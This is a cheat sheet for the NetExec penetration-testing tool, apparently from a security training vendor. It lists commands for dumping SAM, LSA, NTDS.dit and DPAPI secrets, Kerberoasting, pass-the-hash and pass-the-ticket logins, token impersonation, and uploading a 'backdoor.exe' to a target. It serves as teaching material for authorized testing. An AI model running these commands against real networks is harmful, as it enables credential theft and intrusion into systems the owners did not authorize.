NetExec Cheat Sheet
NetExec Cheat Sheet
NetExec (aka nxc) is a network hacking tool designed to help you automate the security
assessment of large-scale corporate networks.
CrackMapExec, known as the “Swiss Army knife” for targeting Windows Active Directory
environments, was extensively used in the penetration testing community. However, in 2023,
the project was archived, and maintenance stopped.
To carry on this project’s legacy and extend and improve its functionalities, contributors to
the original project decided to fork the code and continue the project under a new name,
NetExec.
They aim to sustain a community-driven and well-maintained project with regular updates
that penetration testers, red teamers, and aspiring hackers can use in the years to come.
With this goal in mind, NetExec offers users the following key features:
These features go above and beyond the original CrackMapExec project with new modules,
wider network protocol support, and improved efficiency. Let’s explore how you can use
NetExec, dubbed by many as “CrackMapExec on steroids.”
However, it’s also included in the Kali Linux repositories, so you can easily install it with the
apt package manager.
By using a different hacking OS, such as Parrot Security OS or BackBox Linux, you can
add the Kali Linux official repositories to your sources list for easy installation.
Next, run the following command to install NetExec and its nxcdb backend-database
system-wide:
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
Next, clone the NetExec GitHub repository and use Poetry to install its dependencies:
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
poetry install
poetry run NetExec
Once NetExec is installed, you’re ready to dive in and get your hands dirty.
[runtime options] These are runtime options -h displays the help menu
that affect the command's -t THREADS sets the
performance. number of concurrent
threads.
--timeout TIMEOUT sets a
max timeout in seconds for
each thread.
--jitter INTERVAL sets a
random delay between each
connection.
You can use it to identify live hosts and collect data on domain users, groups, network
shares, computers, and active sessions.
If these built-in capabilities aren’t enough, you can also execute Windows Management
Instrumentation (WMI) queries to gather information about Active Directory objects.
Command Description
Command Description
Nxc <protocol> <target> -u <USERNAME> If the service is not running on its standard
-p <PASSWORD> --port <PORT> port, use the --port option to specify the
custom port.
nxc <smb|winrm> <target> -u Dumps SAM hashes from the target system
<USERNAME> -p <PASSWORD> --sam after a successful login. You can use smb
or winrm services.
nxc <smb|winrm> <target> -u Dumps LSA secrets from the target system
<USERNAME> -p <PASSWORD> --lsa after a successful login. You can use smb
or winrm services.
nxc smb <target> -u <USERNAME> -p Dumps the NTDS.dit file from the target
<PASSWORD> --ntds [vss,drsupai ] Domain Controller after a successful login.
You can use either vss or drsuapi as the
method (drsuapi is the default). Use the
--user option to dump only a specific user.
nxc smb <target> -u <USERNAME> -p Dumps DPAPI secrets from the target
<PASSWORD> --dpapi [cookies,nosystem] machine. You dump cookies with the
cookies options or use the nosystem option
not to dump the SYSTEM dpapi (better
opsec).
Gaining Access and Lateral Movement With NetExec
NetExec can allow you to gain access to target systems through SMB, WinRM, and LDAP
using usernames, passwords, hashes, or Kerberos tickets. This makes it a great hacking
tool for performing pass-the-hash and pass-the-ticket attacks.
Using these protocols, you can also use NetExec to execute custom commands against
single or multiple machines at once. This allows you to blend in with legitimate traffic while
performing lateral movement in Windows Active Directory environments.
Command Description
nxc <smb|winrm> <target> -u Dumps SAM hashes from the target system
<USERNAME> -p <PASSWORD> --sam after a successful login, then you can use
this to perform a pass-the-hash attack. You
can use the smb or winrm protocol.
nxc ldap <target> -u <USERNAME> -p Gets AS-REP response ready to crack with
<PASSWORD> --asreproast Hashcat to perform ASREP-roasting to
target Active Directory.
nxc ldap <target> -u <USERNAME> -p Gets the TGS ticket ready to crack with
<PASSWORD> --kerberoasting Hashcat to perform Kerberoasting to target
Active Directory
nxc <protocol> <target> -u <USERNAME> You can log in using NTLM hashes for
-H <HASH> protocols that use NTLM (e.g., winrm, rdp,
smb, ldap, mssql). Use the -H option
followed by a single hash, a list of hashes
(comma-separated), or a file containing
hashes. This is known as a pass-the-hash
attack and is for lateral movement.
nxc <prococol> <target> -k You can log in using a Kerberos ticket for
<KERBEROS_TICKET> services that use Kerberos (e.g., winrm,
rdp, smb, ldap, mssql). Use the -k option
followed by a Kerberos ticket. This is known
as a pass-the-ticket attack and is for lateral
movement.
Command Description
nxc smb <target> -u <USERNAME> -p Enables RDP on the target machine after a
<PASSWORD> -M rdp successful login. It’s useful to get an RDP
session on target.
nxc smb <target> -u <USERNAME> -p Log into the machine and list tokens you
<PASSWORD> -M impersonate can impersonate on the machine to
escalate your privileges.
nxc smb <target> -u <USERNAME> -p Log into the machine and use WMI to dump
<PASSWORD> -M enum_dns DNS from the AD DNS server.
nxc smb <target> -u <USERNAME> -p Uses WMI to get the target machine’s
<PASSWORD> -M get_netconnections current network connections.
nxc smb <target> -u <USERNAME> -p Gets a remote file from the target machine
<PASSWORD> --get-file REMOTE LOCAL (e.g., --get-file \\Windows\\Temp\\creds.txt.
creds.txt).
nxc smb <target> -u <USERNAME> -p Puts a local file onto the target machine
<PASSWORD> --put-file LOCAL REMOTE (e.g., --put-file backdoor.exe
\\Windows\\Temp\\backdoor.exe).
Command Description
It’s time to trade in your old CrackMapExec and use NetExec for all your network penetration
testing needs.
If you want to learn more about network penetration testing, red teaming, and ethical
hacking, check out the StationX Accelerator Program. It includes everything you need to
jumpstart your cyber security career with professional mentorship, a tailored career
roadmap, a vibrant community, and 1,000+ courses and labs.